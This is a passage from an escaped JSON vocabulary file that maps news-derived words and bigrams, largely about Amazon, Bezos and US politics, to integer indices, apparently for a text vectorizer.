116882,\n  \"vacant right\": 116883,\n  \"maher 11th\": 116884,\n  \"largest plane\": 116885,\n  \"accounting team\": 116886,\n  \"frank luntz\": 116887,\n  \"international pact\": 116888,\n  \"scorching\": 116889,\n  \"thanked mccain\": 116890,\n  \"harshita rawat\": 116891,\n  \"simple mindset\": 116892,\n  \"feathers\": 116893,\n  \"commerce points\": 116894,\n  \"medical officer\": 116895,\n  \"experiencing tremendous\": 116896,\n  \"followed frenzied\": 116897,\n  \"assist launch\": 116898,\n  \"virgin atlantic\": 116899,\n  \"apple plans\": 116900,\n  \"sixties\": 116901,\n  \"cease promotion\": 116902,\n  \"list democrats\": 116903,\n  \"references rated\": 116904,\n  \"continuing tech\": 116905,\n  \"ran series\": 116906,\n  \"peaks\": 116907,\n  \"amazon crony\": 116908,\n  \"states vice\": 116909,\n  \"political nature\": 116910,\n  \"return trips\": 116911,\n  \"urged employees\": 116912,\n  \"wait months\": 116913,\n  \"chairman jay\": 116914,\n  \"education company\": 116915,\n  \"really make\": 116916,\n  \"enquirer reporters\": 116917,\n  \"service private\": 116918,\n  \"1980s israeli\": 116919,\n  \"cruz\": 116920,\n  \"shares cranbrook\": 116921,\n  \"bed sheets\": 116922,\n  \"saw using\": 116923,\n  \"leveraged\": 116924,\n  \"toponymie\": 116925,\n  \"rousseff mour\\u00e3o\": 116926,\n  \"nba trade\": 116927,\n  \"google parent\": 116928,\n  \"clear definition\": 116929,\n  \"glass houses\": 116930,\n  \"motivated\": 116931,\n  \"skid 600\": 116932,\n  \"called monopoly\": 116933,\n  \"poster power\": 116934,\n  \"directing\": 116935,\n  \"800 american\": 116936,\n  \"monroe partners\": 116937,\n  \"mortar downtowns\": 116938,\n  \"obama 2020\": 116939,\n  \"blue moon\": 116940,\n  \"small vendors\": 116941,\n  \"leaving hateful\": 116942,\n  \"navy veterans\": 116943,\n  \"merril hoge\": 116944,\n  \"salesman\": 116945,\n  \"deandre\": 116946,\n  \"lobbying company\": 116947,\n  \"stribling\": 116948,\n  \"charter school\": 116949,\n  \"trump strangely\": 116950,\n  \"vast wealth\": 116951,\n  \"deliveries labor\": 116952,\n  \"media event\": 116953,\n  \"needed boost\": 116954,\n  \"pay flat\": 116955,\n  \"beijing chinese\": 116956,\n  \"bush attorney\": 116957,\n  \"pr standpoint\": 116958,\n  \"impressive library\": 116959,\n  \"groceries delivered\": 116960,\n  \"amazon wrapping\": 116961,\n  \"transgender actors\": 116962,\n  \"obstacles help\": 116963,\n  \"dior\": 116964,\n  \"sanders ideas\": 116965,\n  \"brian fears\": 116966,\n  \"satire newspapers\": 116967,\n  \"smart trademark\": 116968,\n  \"james kanter\": 116969,\n  \"abuse obama\": 116970,\n  \"fully\": 116971,\n  \"effort merely\": 116972,\n  \"lendedu\": 116973,\n  \"italian filmmaker\": 116974,\n  \"fake ceo\": 116975,\n  \"bezos credit\": 116976,\n  \"brazilian officials\": 116977,\n  \"mousa\": 116978,\n  \"purchases retail\": 116979,\n  \"standoff unfolding\": 116980,\n  \"shop online\": 116981,\n  \"savings products\": 116982,\n  \"teachers fought\": 116983,\n  \"resistance movements\": 116984,\n  \"sufficient funds\": 116985,\n  \"read post\": 116986,\n  \"video_sourcename\": 116987,\n  \"phone android\": 116988,\n  \"overall fraud\": 116989,\n  \"cartoon corner\": 116990,\n  \"independent companies\": 116991,\n  \"tech guardiantech\": 116992,\n  \"house introduced\": 116993,\n  \"monopoly regulation\": 116994,\n  \"fedex chief\": 116995,\n  \"finance laws\": 116996,\n  \"averts disaster\": 116997,\n  \"trump squabble\": 116998,\n  \"lesson parents\": 116999,\n  \"just won\": 117000,\n  \"bayer\": 117001,\n  \"vendor operations\": 117002,\n  \"cuts savings\": 117003,\n  \"forest forbes\": 117004,\n  \"gathered\": 117005,\n  \"faced amazon\": 117006,\n  \"strong backer\": 117007,\n  \"star reports\": 117008,\n  \"referencing amazon\": 117009,\n  \"hq2 leaker\": 117010,\n  \"probably crest\": 117011,\n  \"wang general\": 117012,\n  \"150 included\": 117013,\n  \"school kidnapping\": 117014,\n  \"moet\": 117015,\n  \"instagram account\": 117016,\n  \"plutocrat scumbags\": 117017,\n  \"predicted\": 117018,\n  \"award springer\": 117019,\n  \"vast corporate\": 117020,\n  \"max nisen\": 117021,\n  \"rated pants\": 117022,\n  \"202\": 117023,\n  \"nexus\": 117024,\n  \"finals golden\": 117025,\n  \"late shares\": 117026,\n  \"read trump\": 117027,\n  \"school shooting\": 117028,\n  \"constantly criticising\": 117029,\n  \"avod\": 117030,\n  \"viacom\": 117031,\n  \"powerful positions\": 117032,\n  \"misogyny\": 117033,\n  \"henniger deputy\": 117034,\n  \"billion campus\": 117035,\n  \"ballot count\": 117036,\n  \"mainstream brand\": 117037,\n  \"carrier tomorrow\": 117038,\n  \"marty phrase\": 117039,\n  \"stone readers\": 117040,\n  \"drilling\": 117041,\n  \"displace tens\": 117042,\n  \"original cost\": 117043,\n  \"preys\": 117044,\n  \"iterated\": 117045,\n  \"615\": 117046,\n  \"hurt profits\": 117047,\n  \"extension possible\": 117048,\n  \"shouts\": 117049,\n  \"clipa2\": 117050,\n  \"abc jeff\": 117051,\n  \"names scoops\": 117052,\n  \"somewhat trouble\": 117053,\n  \"dealership\": 117054,\n  \"observer business\": 117055,\n  \"don buy\": 117056,\n  \"called pharmacy\": 117057,\n  \"billionaire businessman\": 117058,\n  \"toby realizes\": 117059,\n  \"book include\": 117060,\n  \"quote background\": 117061,\n  \"better uniforms\": 117062,\n  \"negative earnings\": 117063,\n  \"pretty normal\": 117064,\n  \"st paul\": 117065,\n  \"dorie clark\": 117066,\n  \"mt oct\": 117067,\n  \"salles says\": 117068,\n  \"concealing hush\": 117069,\n  \"playing jeff\": 117070,\n  \"grisly adrenaline\": 117071,\n  \"retire\": 117072,\n  \"amazon attend\": 117073,\n  \"resorting\": 117074,\n  \"normal tax\": 117075,\n  \"supersede\": 117076,\n  \"diet\": 117077,\n  \"forfeiture\": 117078,\n  \"spitz\": 117079,\n  \"represents roughly\": 117080,\n  \"stop comcast\": 117081,\n  \"following cranial\": 117082,\n  \"salami\": 117083,\n  \"moody\": 117084,\n  \"raad studio\": 117085,\n  \"twitter blasts\": 117086,\n  \"won approval\": 117087,\n  \"investment trust\": 117088,\n  \"indianapolis long\": 117089,\n  \"scientist reveals\": 117090,\n  \"meuller investigation\": 117091,\n  \"similar activities\": 117092,\n  \"amidst accusations\": 117093,\n  \"competitive free\": 117094,\n  \"founding\": 117095,\n  \"branch atif\": 117096,\n  \"anthony hopkins\": 117097,\n  \"launched service\": 117098,\n  \"uranium imports\": 117099,\n  \"trump cnbc\": 117100,\n  \"employees\": 117101,\n  \"contradicted number\": 117102,\n  \"street\": 117103,\n  \"brief\": 117104,\n  \"vulcan\": 117105,\n  \"strong hold\": 117106,\n  \"buy smart\": 117107,\n  \"actually day\": 117108,\n  \"make rapes\": 117109,\n  \"competitors additionally\": 117110,\n  \"kirsten gillibrand\": 117111,\n  \"price controls\": 117112,\n  \"old age\": 117113,\n  \"recession low\": 117114,\n  \"headlineplaintext colbert\": 117115,\n  \"axios cites\": 117116,\n  \"flicking\": 117117,\n  \"sketch ingraham\": 117118,\n  \"matthew kirincic\": 117119,\n  \"pickled cucumbers\": 117120,\n  \"excluded\": 117121,\n  \"ogr\": 117122,\n  \"pages available\": 117123,\n  \"ryanpoe\": 117124,\n  \"greatly missed\": 117125,\n  \"excluding debt\": 117126,\n  \"new services\": 117127,\n  \"hendricks john\": 117128,\n  \"face forward\": 117129,\n  \"solicitation conservative\": 117130,\n  \"poor worker\": 117131,\n  \"mcconnell retain\": 117132,\n  \"biden pulled\": 117133,\n  \"shoulder\": 117134,\n  \"stows gloves\": 117135,\n  \"inc_prtid\": 117136,\n  \"california bank\": 117137,\n  \"bought 590\": 117138,\n  \"news raised\": 117139,\n  \"protest wars\": 117140,\n  \"daniel roberts\": 117141,\n  \"house ending\": 117142,\n  \"includes google\": 117143,\n  \"claims people\": 117144,\n  \"souq\": 117145,\n  \"new episodes\": 117146,\n  \"total number\": 117147,\n  \"htc\": 117148,\n  \"ring\": 117149,\n  \"amazon stormy\": 117150,\n  \"2017 mar\": 117151,\n  \"nonsupervisory\": 117152,\n  \"national left\": 117153,\n  \"dining guide\": 117154,\n  \"father wrote\": 117155,\n  \"redux effort\": 117156,\n  \"quarter corporations\": 117157,\n  \"unresolved pension\": 117158,\n  \"office grant\": 117159,\n  \"embarrassed isn\": 117160,\n  \"sexual predator\": 117161,\n  \"trailforks yelp\": 117162,\n  \"abc\": 117163,\n  \"140 million\": 117164,\n  \"schweitzer\": 117165,\n  \"building spree\": 117166,\n  \"glaringly\": 117167,\n  \"player\": 117168,\n  \"new 2019\": 117169,\n  \"ncosh\": 117170,\n  \"function showspinner\": 117171,\n  \"cfo conference\": 117172,\n  \"border crossing\": 117173,\n  \"retailers face\": 117174,\n  \"washington andrew\": 117175,\n  \"business utm_medium\": 117176,\n  \"started looking\": 117177,\n  \"federal individual\": 117178,\n  \"president says\": 117179,\n  \"lander\": 117180,\n  \"include liberal\": 117181,\n  \"venezuela edited\": 117182,\n  \"pay equity\": 117183,\n  \"healthcare plans\": 117184,\n  \"saviors super\": 117185,\n  \"article posted\": 117186,\n  \"fiscally responsible\": 117187,\n  \"bolsonaro told\": 117188,\n  \"international freight\": 117189,\n  \"authorization\": 117190,\n  \"content mozart\": 117191,\n  \"unionized\": 117192,\n  \"sell live\": 117193,\n  \"immediately began\": 117194,\n  \"accurate description\": 117195,\n  \"having negotiated\": 117196,\n  \"wusa\": 117197,\n  \"reform talks\": 117198,\n  \"adviser stone\": 117199,\n  \"ordering trump\": 117200,\n  \"relative earnings\": 117201,\n  \"improved retirement\": 117202,\n  \"elizabeth cavazos\": 117203,\n  \"loves amazon\": 117204,\n  \"stay employed\": 117205,\n  \"theft typically\": 117206,\n  \"jet airways\": 117207,\n  \"stephanopoulos asking\": 117208,\n  \"political operative\": 117209,\n  \"countless gadgets\": 117210,\n  \"horrible turning\": 117211,\n  \"everybody knows\": 117212,\n  \"small buy\": 117213,\n  \"american experience\": 117214,\n  \"cities far\": 117215,\n  \"island democratic\": 117216,\n  \"significant earnings\": 117217,\n  \"story heres\": 117218,\n  \"alas means\": 117219,\n  \"2019_10 2776086\": 117220,\n  \"acting opioid\": 117221,\n  \"active carouselcontentitems\": 117222,\n  \"colluding\": 117223,\n  \"arrival compared\": 117224,\n  \"identify shooter\": 117225,\n  \"blueprints\": 117226,\n  \"followed bartlett\": 117227,\n  \"wedding rehearsal\": 117228,\n  \"disabilities haven\": 117229,\n  \"considered investing\": 117230,\n  \"department cooperation\": 117231,\n  \"east africa\": 117232,\n  \"claudia\": 117233,\n  \"described difficult\": 117234,\n  \"evaluate dissect\": 117235,\n  \"convince judge\": 117236,\n  \"bezos buying\": 117237,\n  \"business deals\": 117238,\n  \"poignant\": 117239,\n  \"amzn isn\": 117240,\n  \"completely convinced\": 117241,\n  \"tiaa\": 117242,\n  \"cost standards\": 117243,\n  \"midterms mean\": 117244,\n  \"floor vacant\": 117245,\n  \"including embarrassing\": 117246,\n  \"inc_custom_pubdate\": 117247,\n  \"withdrawal symptoms\": 117248,\n  \"apg media\": 117249,\n  \"threatened antitrust\": 117250,\n  \"just state\": 117251,\n  \"antczak ap\": 117252,\n  \"explosions\": 117253,\n  \"steveschmidtses tweeted\": 117254,\n  \"bad stories\": 117255,\n  \"example report\": 117256,\n  \"hunger\": 117257,\n  \"prize toronto\": 117258,\n  \"raising questions\": 117259,\n  \"committee replacing\": 117260,\n  \"justawittybit justawittybit\": 117261,\n  \"inventory according\": 117262,\n  \"post yesterday\": 117263,\n  \"free generally\": 117264,\n  \"mistress leaked\": 117265,\n  \"cases monetized\": 117266,\n  \"invasion guess\": 117267,\n  \"secretary nielsen\": 117268,\n  \"genetic anomalies\": 117269,\n  \"imdb\": 117270,\n  \"san carlos\": 117271,\n  \"service john\": 117272,\n  \"investigator man\": 117273,\n  \"needlessly smart\": 117274,\n  \"just regret\": 117275,\n  \"paying passenger\": 117276,\n  \"opposed moving\": 117277,\n  \"allegory\": 117278,\n  \"illiterate partially\": 117279,\n  \"ina lee\": 117280,\n  \"ch\\u00e1vez\": 117281,\n  \"cohen paying\": 117282,\n  \"exploits workers\": 117283,\n  \"rep eric\": 117284,\n  \"philadelphia semiconductor\": 117285,\n  \"corporate cronyism\": 117286,\n  \"hid\": 117287,\n  \"wage helps\": 117288,\n  \"downplayed\": 117289,\n  \"biometric info\": 117290,\n  \"rent food\": 117291,\n  \"2019 offering\": 117292,\n  \"trump remains\": 117293,\n  \"report determined\": 117294,\n  \"tjx\": 117295,\n  \"founder tariq\": 117296,\n  \"john weiler\": 117297,\n  \"status 998660306225201153\": 117298,\n  \"axel\": 117299,\n  \"special place\": 117300,\n  \"meet george\": 117301,\n  \"duriyapat\": 117302,\n  \"street global\": 117303,\n  \"doesn run\": 117304,\n  \"llc decreased\": 117305,\n  \"folks understand\": 117306,\n  \"department commerce\": 117307,\n  \"mark burnett\": 117308,\n  \"identify charity\": 117309,\n  \"senior privacy\": 117310,\n  \"choose locations\": 117311,\n  \"industries yes\": 117312,\n  \"billion monopoly\": 117313,\n  \"2019 granting\": 117314,\n  \"thematter\": 117315,\n  \"population data\": 117316,\n  \"suit doesn\": 117317,\n  \"showtime run\": 117318,\n  \"reuters says\": 117319,\n  \"actually pay\": 117320,\n  \"legal community\": 117321,\n  \"returns california\": 117322,\n  \"finger\": 117323,\n  \"workers local\": 117324,\n  \"consequences rep\": 117325,\n  \"animated medieval\": 117326,\n  \"class talent\": 117327,\n  \"sens chris\": 117328,\n  \"bad reputation\": 117329,\n  \"potentially dismantling\": 117330,\n  \"pressed brennan\": 117331,\n  \"elevated level\": 117332,\n  \"endurance\": 117333,\n  \"union leader\": 117334,\n  \"american universities\": 117335,\n  \"lists amazon\": 117336,\n  \"idina\": 117337,\n  \"flouting local\": 117338,\n  \"used cars\": 117339,\n  \"liberal candidate\": 117340,\n  \"talented residents\": 117341,\n  \"room guide\": 117342,\n  \"crisis financial\": 117343,\n  \"boycottwalmart campaign\": 117344,\n  \"immigration studies\": 117345,\n  \"incurs\": 117346,\n  \"holiday wish\": 117347,\n  \"fake washington\": 117348,\n  \"politicians read\": 117349,\n  \"city protesters\": 117350,\n  \"special issue\": 117351,\n  \"lived american\": 117352,\n  \"hammacher schlemmer\": 117353,\n  \"kids daytime\": 117354,\n  \"attained\": 117355,\n  \"day traders\": 117356,\n  \"just juicy\": 117357,\n  \"words regarding\": 117358,\n  \"kevin mccarthykevin\": 117359,\n  \"growth expectations\": 117360,\n  \"food stamps\": 117361,\n  \"immersive\": 117362,\n  \"remarks sinclair\": 117363,\n  \"excessive chair\": 117364,\n  \"socially divisive\": 117365,\n  \"manhattan right\": 117366,\n  \"steal trade\": 117367,\n  \"package deliveries\": 117368,\n  \"substitute obama\": 117369,\n  \"delano breakfast\": 117370,\n  \"loss amazon\": 117371,\n  \"faked news\": 117372,\n  \"matthew hunt\": 117373,\n  \"sophia study\": 117374,\n  \"drug interdiction\": 117375,\n  \"market currencies\": 117376,\n  \"repairs sharaab\": 117377,\n  \"smotivations\": 117378,\n  \"cummings md\": 117379,\n  \"flew workers\": 117380,\n  \"450 amazon\": 117381,\n  \"outlet adding\": 117382,\n  \"customers shipping\": 117383,\n  \"companies bread\": 117384,\n  \"plain sight\": 117385,\n  \"jpmorgan\": 117386,\n  \"legal radar\": 117387,\n  \"massachusetts\": 117388,\n  \"shutdown fails\": 117389,\n  \"lynch mobs\": 117390,\n  \"giant according\": 117391,\n  \"31st avenue\": 117392,\n  \"signaling contradictory\": 117393,\n  \"deputy mira\": 117394,\n  \"arj1kzbh5h dave\": 117395,\n  \"reopening negotiations\": 117396,\n  \"sent 810\": 117397,\n  \"blast\": 117398,\n  \"suppress negative\": 117399,\n  \"company expected\": 117400,\n  \"kauffman william\": 117401,\n  \"ritchie torres\": 117402,\n  \"based compensation\": 117403,\n  \"997\": 117404,\n  \"fsf9szc24h subcomandante\": 117405,\n  \"speech created\": 117406,\n  \"seek legislation\": 117407,\n  \"senator charles\": 117408,\n  \"selected town\": 117409,\n  \"biggest hit\": 117410,\n  \"sentiments\": 117411,\n  \"amazon secure\": 117412,\n  \"tilting\": 117413,\n  \"copy content\": 117414,\n  \"stock performs\": 117415,\n  \"lander named\": 117416,\n  \"modernizing records\": 117417,\n  \"shot multiple\": 117418,\n  \"prohibit federal\": 117419,\n  \"preservation business\": 117420,\n  \"doorn\": 117421,\n  \"second homes\": 117422,\n  \"results publisher\": 117423,\n  \"progressive groups\": 117424,\n  \"st croix\": 117425,\n  \"extra shortly\": 117426,\n  \"female fetus\": 117427,\n  \"equipment arena\": 117428,\n  \"times points\": 117429,\n  \"sees delay\": 117430,\n  \"bezos paramour\": 117431,\n  \"company spokesperson\": 117432,\n  \"media_0 adsection\": 117433,\n  \"available freaky\": 117434,\n  \"left unanswered\": 117435,\n  \"test launched\": 117436,\n  \"multiplied\": 117437,\n  \"racist regime\": 117438,\n  \"sotomayor houses\": 117439,\n  \"assets accumulated\": 117440,\n  \"accurate independent\": 117441,\n  \"street losses\": 117442,\n  \"parkland survivor\": 117443,\n  \"previously regulated\": 117444,\n  \"gtld\": 117445,\n  \"network success\": 117446,\n  \"file petitions\": 117447,\n  \"kept finding\": 117448,\n  \"leash\": 117449,\n  \"tech domination\": 117450,\n  \"serving unfair\": 117451,\n  \"uncertainties important\": 117452,\n  \"aapl iphone\": 117453,\n  \"shipment citigroup\": 117454,\n  \"attack warning\": 117455,\n  \"trump arrival\": 117456,\n  \"intraif\": 117457,\n  \"memberships\": 117458,\n  \"business donated\": 117459,\n  \"bombardment\": 117460,\n  \"mous covering\": 117461,\n  \"delivery capabilities\": 117462,\n  \"newsday amazon\": 117463,\n  \"_blank a4ee\": 117464,\n  \"local incentives\": 117465,\n  \"abbate\": 117466,\n  \"repeatedly lodged\": 117467,\n  \"mild blow\": 117468,\n  \"flake alongside\": 117469,\n  \"shares johnson\": 117470,\n  \"advent capital\": 117471,\n  \"features caramel\": 117472,\n  \"processors access\": 117473,\n  \"huppert noah\": 117474,\n  \"honda\": 117475,\n  \"fresh ballot\": 117476,\n  \"nevertrump\": 117477,\n  \"iguana welcome\": 117478,\n  \"penalize employees\": 117479,\n  \"proud\": 117480,\n  \"linkedin tumblr\": 117481,\n  \"renowned investigative\": 117482,\n  \"apple new\": 117483,\n  \"sweet valley\": 117484,\n  \"topping apple\": 117485,\n  \"incorrectly asserted\": 117486,\n  \"news series\": 117487,\n  \"typeface pic\": 117488,\n  \"adjustable stand\": 117489,\n  \"independent entities\": 117490,\n  \"nbc mueller\": 117491,\n  \"mackenzie source\": 117492,\n  \"hobo hipster\": 117493,\n  \"reform 2019\": 117494,\n  \"vp\": 117495,\n  \"warns tim\": 117496,\n  \"necessity given\": 117497,\n  \"phone text\": 117498,\n  \"remember senator\": 117499,\n  \"cnbc notes\": 117500,\n  \"referenced trump\": 117501,\n  \"b0\": 117502,\n  \"lungs inhales\": 117503,\n  \"ball rolling\": 117504,\n  \"ny1\": 117505,\n  \"valid defense\": 117506,\n  \"hood\": 117507,\n  \"mystery\": 117508,\n  \"rabbi emeritus\": 117509,\n  \"towns\": 117510,\n  \"make workers\": 117511,\n  \"autopsy scott\": 117512,\n  \"wont pay\": 117513,\n  \"negotiations claims\": 117514,\n  \"technological giants\": 117515,\n  \"department president\": 117516,\n  \"sales model\": 117517,\n  \"encourage associates\": 117518,\n  \"rainforest affectionately\": 117519,\n  \"andes\": 117520,\n  \"breaks lose\": 117521,\n  \"muir\": 117522,\n  \"bite initially\": 117523,\n  \"repeated allegations\": 117524,\n  \"maisel amazon\": 117525,\n  \"2507\": 117526,\n  \"winston\": 117527,\n  \"federal agents\": 117528,\n  \"benefactor\": 117529,\n  \"serving powerful\": 117530,\n  \"sources inside\": 117531,\n  \"amazon solid\": 117532,\n  \"clayborne\": 117533,\n  \"sermon\": 117534,\n  \"bottger\": 117535,\n  \"largest brick\": 117536,\n  \"warriors wearing\": 117537,\n  \"prices high\": 117538,\n  \"video soon\": 117539,\n  \"called indefinite\": 117540,\n  \"street really\": 117541,\n  \"team trump\": 117542,\n  \"rip\": 117543,\n  \"executive good\": 117544,\n  \"founder told\": 117545,\n  \"barren warehouses\": 117546,\n  \"harlem\": 117547,\n  \"climate protection\": 117548,\n  \"emotional\": 117549,\n  \"iche\": 117550,\n  \"events cnn\": 117551,\n  \"delivery business\": 117552,\n  \"solutions given\": 117553,\n  \"harrigan teaches\": 117554,\n  \"comment source\": 117555,\n  \"titled global\": 117556,\n  \"pooh comparisons\": 117557,\n  \"successor\": 117558,\n  \"dispense\": 117559,\n  \"courtesy nancy\": 117560,\n  \"list amazon\": 117561,\n  \"diego team\": 117562,\n  \"bolton warns\": 117563,\n  \"physically separate\": 117564,\n  \"years reagan\": 117565,\n  \"nbsp cloud\": 117566,\n  \"trump chances\": 117567,\n  \"environmental waste\": 117568,\n  \"lumped\": 117569,\n  \"urgent reform\": 117570,\n  \"ninemsn\": 117571,\n  \"giant virginia\": 117572,\n  \"yasuda asset\": 117573,\n  \"fully reaching\": 117574,\n  \"secret lover\": 117575,\n  \"avila\": 117576,\n  \"future financial\": 117577,\n  \"real check\": 117578,\n  \"amplified\": 117579,\n  \"demonstrated\": 117580,\n  \"silverman\": 117581,\n  \"youtube exec\": 117582,\n  \"strawberries led\": 117583,\n  \"urging bezos\": 117584,\n  \"bourne\": 117585,\n  \"businesses reliable\": 117586,\n  \"significant aspects\": 117587,\n  \"damaged defective\": 117588,\n  \"perfect beach\": 117589,\n  \"kidman\": 117590,\n  \"jeffrey cramer\": 117591,\n  \"publishing intimate\": 117592,\n  \"bag\": 117593,\n  \"conservative bias\": 117594,\n  \"soaked deep\": 117595,\n  \"exceeding sales\": 117596,\n  \"fantastic charter\": 117597,\n  \"oliver did\": 117598,\n  \"likecompany\": 117599,\n  \"airlines equal\": 117600,\n  \"starry cast\": 117601,\n  \"york brian\": 117602,\n  \"vertical\": 117603,\n  \"exec wouldn\": 117604,\n  \"simmering cold\": 117605,\n  \"subsequently opened\": 117606,\n  \"missing\": 117607,\n  \"feedback help\": 117608,\n  \"shutterstock jair\": 117609,\n  \"receive possible\": 117610,\n  \"reason people\": 117611,\n  \"trucks making\": 117612,\n  \"america treats\": 117613,\n  \"drug costs\": 117614,\n  \"paper bakalar\": 117615,\n  \"maker harley\": 117616,\n  \"martialed\": 117617,\n  \"bathroom bel\": 117618,\n  \"private actions\": 117619,\n  \"function yb\": 117620,\n  \"decent values\": 117621,\n  \"wrong china\": 117622,\n  \"new ministry\": 117623,\n  \"launched news\": 117624,\n  \"nations general\": 117625,\n  \"ya rocket\": 117626,\n  \"future package\": 117627,\n  \"si\": 117628,\n  \"shelters local\": 117629,\n  \"tenn speaks\": 117630,\n  \"canada arkells\": 117631,\n  \"thrilled carrell\": 117632,\n  \"gender identity\": 117633,\n  \"travel destinations\": 117634,\n  \"easy transporting\": 117635,\n  \"significant step\": 117636,\n  \"educated residents\": 117637,\n  \"studies\": 117638,\n  \"housing costs\": 117639,\n  \"amazon named\": 117640,\n  \"employ 500\": 117641,\n  \"original publishers\": 117642,\n  \"director peter\": 117643,\n  \"portfolio beck\": 117644,\n  \"war tracker\": 117645,\n  \"associates say\": 117646,\n  \"stanley nyse\": 117647,\n  \"change saying\": 117648,\n  \"butnick tablet\": 117649,\n  \"california sets\": 117650,\n  \"trent\": 117651,\n  \"uffe\": 117652,\n  \"unpublished materials\": 117653,\n  \"bezos revealed\": 117654,\n  \"dicks returns\": 117655,\n  \"direct amazon\": 117656,\n  \"time report\": 117657,\n  \"spout\": 117658,\n  \"cadets\": 117659,\n  \"funded incentives\": 117660,\n  \"story sap\": 117661,\n  \"intervention services\": 117662,\n  \"biggest boost\": 117663,\n  \"lurid tabloid\": 117664,\n  \"technologies separate\": 117665,\n  \"accompany gyllenhaal\": 117666,\n  \"eats reloaded\": 117667,\n  \"leftward\": 117668,\n  \"trump trip\": 117669,\n  \"different matter\": 117670,\n  \"teenage romantic\": 117671,\n  \"won steal\": 117672,\n  \"community\": 117673,\n  \"ttab refusal\": 117674,\n  \"device business\": 117675,\n  \"sou\": 117676,\n  \"mcd reports\": 117677,\n  \"organic facility\": 117678,\n  \"castaldo\": 117679,\n  \"focus cars\": 117680,\n  \"began using\": 117681,\n  \"billionaires list\": 117682,\n  \"employment small\": 117683,\n  \"ditch revenue\": 117684,\n  \"blocking users\": 117685,\n  \"compared sanders\": 117686,\n  \"half plans\": 117687,\n  \"companies reduces\": 117688,\n  \"beloved street\": 117689,\n  \"sinister way\": 117690,\n  \"act decisively\": 117691,\n  \"today approved\": 117692,\n  \"divisive figure\": 117693,\n  \"lisa gilbert\": 117694,\n  \"public nashville\": 117695,\n  \"vogue reported\": 117696,\n  \"media impact\": 117697,\n  \"free midday\": 117698,\n  \"tire deal\": 117699,\n  \"investigation remember\": 117700,\n  \"utm_source\": 117701,\n  \"sinclair acquisition\": 117702,\n  \"years american\": 117703,\n  \"bradlander cmenchaca\": 117704,\n  \"lacks legitimate\": 117705,\n  \"2019 lee\": 117706,\n  \"region including\": 117707,\n  \"biggest weapon\": 117708,\n  \"rating health\": 117709,\n  \"agency dea\": 117710,\n  \"teaches marketing\": 117711,\n  \"fruitless\": 117712,\n  \"sharks\": 117713,\n  \"plant opening\": 117714,\n  \"journey defeat\": 117715,\n  \"workers imagine\": 117716,\n  \"considered breaking\": 117717,\n  \"harir st\": 117718,\n  \"steps seemingly\": 117719,\n  \"national profile\": 117720,\n  \"business news\": 117721,\n  \"revision\": 117722,\n  \"purpose hq2\": 117723,\n  \"agricultural land\": 117724,\n  \"economy president\": 117725,\n  \"exchange bringing\": 117726,\n  \"kingdom ex\": 117727,\n  \"presstv reported\": 117728,\n  \"gabriela\": 117729,\n  \"usually invests\": 117730,\n  \"dccc alum\": 117731,\n  \"initiative attracted\": 117732,\n  \"willy wonka\": 117733,\n  \"rockstars\": 117734,\n  \"author wrote\": 117735,\n  \"ago lineal\": 117736,\n  \"kept safe\": 117737,\n  \"currently employs\": 117738,\n  \"tonya powers\": 117739,\n  \"workers nationwide\": 117740,\n  \"bess adler\": 117741,\n  \"economic miracle\": 117742,\n  \"weak putin\": 117743,\n  \"bargain levels\": 117744,\n  \"ongoing contracts\": 117745,\n  \"archive shows\": 117746,\n  \"businesses bezos\": 117747,\n  \"local relationships\": 117748,\n  \"senate democratic\": 117749,\n  \"packages year\": 117750,\n  \"idiotic behaviour\": 117751,\n  \"union leaders\": 117752,\n  \"hard hq2\": 117753,\n  \"michael nathanson\": 117754,\n  \"make slight\": 117755,\n  \"drug administration\": 117756,\n  \"shareholder returns\": 117757,\n  \"reuters sees\": 117758,\n  \"physical exam\": 117759,\n  \"chung news\": 117760,\n  \"491 shares\": 117761,\n  \"demise amazon\": 117762,\n  \"competitive defenses\": 117763,\n  \"watching trevor\": 117764,\n  \"kennedy mold\": 117765,\n  \"keaten sent\": 117766,\n  \"fuel production\": 117767,\n  \"editor prowrestlingnet\": 117768,\n  \"investigate unsafe\": 117769,\n  \"acquisition don\": 117770,\n  \"clifford\": 117771,\n  \"little guys\": 117772,\n  \"visit miamibookfair\": 117773,\n  \"problem strongly\": 117774,\n  \"early 1993\": 117775,\n  \"4k\": 117776,\n  \"spendvalentine\": 117777,\n  \"sen andrea\": 117778,\n  \"reading\": 117779,\n  \"prominent figures\": 117780,\n  \"predictive\": 117781,\n  \"big budget\": 117782,\n  \"stephanie johnson\": 117783,\n  \"tank calculated\": 117784,\n  \"writing\": 117785,\n  \"aki\": 117786,\n  \"clip gov\": 117787,\n  \"thedailybeast\": 117788,\n  \"policy discussion\": 117789,\n  \"commercial physical\": 117790,\n  \"season dragged\": 117791,\n  \"dress code\": 117792,\n  \"lacks funding\": 117793,\n  \"candidate bolsonaro\": 117794,\n  \"soybeans earlier\": 117795,\n  \"political statement\": 117796,\n  \"eclipsed microsoft\": 117797,\n  \"fanatics\": 117798,\n  \"pearl award\": 117799,\n  \"weinstein allegations\": 117800,\n  \"announces bilateral\": 117801,\n  \"delivering groceries\": 117802,\n  \"installing\": 117803,\n  \"seen incentivized\": 117804,\n  \"pulled total\": 117805,\n  \"trump crony\": 117806,\n  \"2019 breaking\": 117807,\n  \"delivery option\": 117808,\n  \"sentiment read\": 117809,\n  \"allows doctors\": 117810,\n  \"stranger things\": 117811,\n  \"job horror\": 117812,\n  \"conclude\": 117813,\n  \"hiking\": 117814,\n  \"clear beneficiary\": 117815,\n  \"second fulfillment\": 117816,\n  \"controversial deforestation\": 117817,\n  \"insider hypotheekrente\": 117818,\n  \"global retail\": 117819,\n  \"syria apparently\": 117820,\n  \"impossible conversations\": 117821,\n  \"impose work\": 117822,\n  \"best places\": 117823,\n  \"provide little\": 117824,\n  \"carousel__content__item document\": 117825,\n  \"shows netflix\": 117826,\n  \"online reuters\": 117827,\n  \"saw sales\": 117828,\n  \"respects\": 117829,\n  \"idealists\": 117830,\n  \"open marketplace\": 117831,\n  \"lucifer available\": 117832,\n  \"eduardo padr\\u00f3n\": 117833,\n  \"putin having\": 117834,\n  \"today satirical\": 117835,\n  \"spends delivering\": 117836,\n  \"filings alphabet\": 117837,\n  \"stocks ultimate\": 117838,\n  \"null sortorder\": 117839,\n  \"higher confidence\": 117840,\n  \"accused ford\": 117841,\n  \"hamas supporters\": 117842,\n  \"inc_custom_sidebar\": 117843,\n  \"pursuing\": 117844,\n  \"forces people\": 117845,\n  \"approved sources\": 117846,\n  \"nick denissen\": 117847,\n  \"amazon helipads\": 117848,\n  \"photo nv\": 117849,\n  \"president commenting\": 117850,\n  \"nbsp unique\": 117851,\n  